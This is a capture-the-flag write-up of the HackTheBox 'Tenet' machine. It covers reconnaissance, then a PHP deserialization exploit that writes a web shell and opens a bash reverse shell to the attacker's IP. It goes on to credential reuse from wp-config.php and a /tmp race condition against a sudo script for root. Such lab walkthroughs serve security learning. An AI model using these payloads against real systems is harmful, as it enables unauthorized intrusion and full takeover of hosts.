Summary
Tenet is a ctf like medium linux machine. It requires creative thinking and some guessing to obtain foothold on the machine. We begin by finding hidden wordpress blog. There is a comment in one of the blogs that gives out a hint for a subdomain and a php script source code. Upon looking at the php script source code, we see the script is vulnerable to php object deserialization.
Recon
Nmap
Nmap finds two open TCP ports, SSH (22) and HTTP (80):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root💀kali)-[~/htb/boxes/tenet]
└─# nmap -sT -sC -sV -oN nmap/tenet -v 10.10.10.223
# Nmap 7.91 scan initiated Thu May 27 20:47:14 2021 as: nmap -sT -sC -sV -oN nmap/tenet -v 10.10.10.223
Increasing send delay for 10.10.10.223 from 0 to 5 due to 58 out of 191 dropped probes since last increase.
Nmap scan report for 10.10.10.223
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 27 20:47:56 2021 -- 1 IP address (1 host up) scanned in 42.26 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu Bionic. The website on port 80 is hosting the default apache page.
Webserver - TCP 80
I started to fuzz the page to look for any hidden hostname and subdomains.
1
2
3
4
┌──(root💀kali)-[~/htb/boxes/tenet]
└─# gobuster dir -u http://10.10.10.223/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -q
/wordpress (Status: 301) [Size: 316] [--> http://10.10.10.223/wordpress/]
Gobuster found wordpress directory which then revealed hostname tenet.htb
After updating /etc/hosts
file, it loaded a wordpress blog page. We can use wpscan
tool to enumerate for users, outdated and vulnerable plugins, themes and much more.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~/htb/boxes/tenet]
└─# wpscan --url http://tenet.htb/ -e ap,t,tt,u
...[snip]...
[i] User(s) Identified:
[+] protagonist
| Found By: Author Posts - Author Pattern (Passive Detection)
...[snip]...
[+] neil
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
...[snip]...
Wpscan revealed two users admin, protagonist
. There is a comment left on one of the blogs that said:
1
did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!
The comment hints that there is a php script and a backup with the name sator
somewhere in the server. So I started to fuzz for it. After fuzzing around, I found a valid subdomain sator.tenet.htb
which loads the default apache page. I also found the sator php script at http://sator.tenet.htb/sator.php
.
The php script sator.php
seems to get users from users file and update database. Going back to the comment on the blog post, the hint also included a backup for the same script. I added .bak
and downloaded the source code of the sator.php
script.
Below was the content of sator.php
script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
The script takes the variable arepo
through GET method, unserializes it and passes it to the class DatabaseExport
.
The __destruct()
uses file_put_contents
to write the content of the file user_file
to the web root directory.
RCE
We can abuse this by:
- creating a serialized php script.
- the php script would specify 2 variales
user_file
as a php script anddata
as the code we want to execute on the target machine. - Then we browse to the
user_file
we specified to execute our code.
The code to create the serialized payload is
1
2
3
4
5
6
7
8
<?php
class DatabaseExport {
public $user_file = 'evil.php';
public $data = '<?php exec("ping -c 2 10.10.14.59"); ?>';
}
print urlencode(serialize(new DatabaseExport))
?>
I used ping as my payload to test if the code works on the target. I executed the above php script and copied the output. The output is then passed on to http://sator.tenet.php?arepo=
. In the screenshot above, we see that the target is able to ping back to our kali machine.
Foothold
Since the ping command worked, I replaced the ping with a reverse shell as shown below.
1
2
3
4
5
6
7
<?php
class DatabaseExport {
public $user_file = 'evil.php';
public $data = '<?php exec("bash -i >& /dev/tcp/10.10.14.59/9001 0>&1"); ?>';
}
print urlencode(serialize(new DatabaseExport))
?>
User Privilege Escelation
I know wordpress has credentials specified in the file wp-config.php
The credentials in the wordpress config file were reused as ssh password.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root💀kali)-[~/htb/boxes/tenet]
└─# ssh neil@tenet.htb 130 ⨯
neil@tenet.htb password:
Last login: Fri May 28 22:13:37 2021 from 10.10.14.59
neil@tenet:~$ id
uid=1001(neil) gid=1001(neil) groups=1001(neil)
neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
sudo -l
reveals that user neil can run /usr/local/bin/enableSSH.sh
with sudo privilege.
When enableSSH.sh
is executed with sudo
it prints:
1
2
3
neil@tenet:~$ sudo /usr/local/bin/enableSSH.sh
Successfully added root@ubuntu to authorized_keys file!
neil@tenet:~$
Below was the content of the script. I commented what each line does to understand the script better.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
# variable sshName is echoing variable key, separating on space and grabbing the 3rd index
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
# if the variable sshName does not exist in /root/.ssh/authorized_keys
/bin/echo "Successfully added $sshName to authorized_keys file!"
#then echo "successfully....."
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
# echo error
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
# if file exists and size is greater than 0, and is also regular file
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
# if file is regular file then remove it
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
# variable tmpName creates temporary file ssh-XXXXXXXX
(umask 110; touch $tmpName)
# set permissions
/bin/echo $key >>$tmpName
# copy variable key to variable tmpName
checkFile $tmpName
# check if tmpName exists
/bin/cat $tmpName >>/root/.ssh/authorized_keys
# copy tmpName to authorized_keys
/bin/rm $tmpName
# then remove the file tmpName
}
key="ssh-rsa AAAAA3NzaG1yc..............root@ubuntu" # sample ssh public key
addKey # invoking the function addKey
checkAdded # invoking the function checkAdded
Root Privilege Escelation
The user neil
is able to execute the bash script /usr/local/bin/enableSSH.sh
as superuser. The bash script is getting ssh public key from a random generated file stored in /tmp/
directory and adds it to /root/.ssh/authorized_keys
. The random file name starts with ssh-
.
We can take advatage of this by writing a script which copies our own public ssh key to any file with name ssh-****
stored in /tmp/
directory. First i created ssh keys pair specific for this with the command:
1
ssh-keygen -f root
After creating the ssh keys, copy the public key inside the echo quotes I wrote below bash script:
1
2
3
4
5
#!/bin/bash
while :
do
echo "ssh-rsa AAAAB3NzaC1yc2EAAA............root@kali" | tee /tmp/ssh-* 2>/dev/null
done
The script would run in a loop and echo our public key to any files in /tmp/ssh-*
which would then be copied to /root/.ssh/authorized_keys
.
We first execute the our bash script, then execute the command sudo /usr/local/bin/enableSSH.sh
.
Finally we ssh to root using the command ssh -i <ssh private key> root@10.10.10.223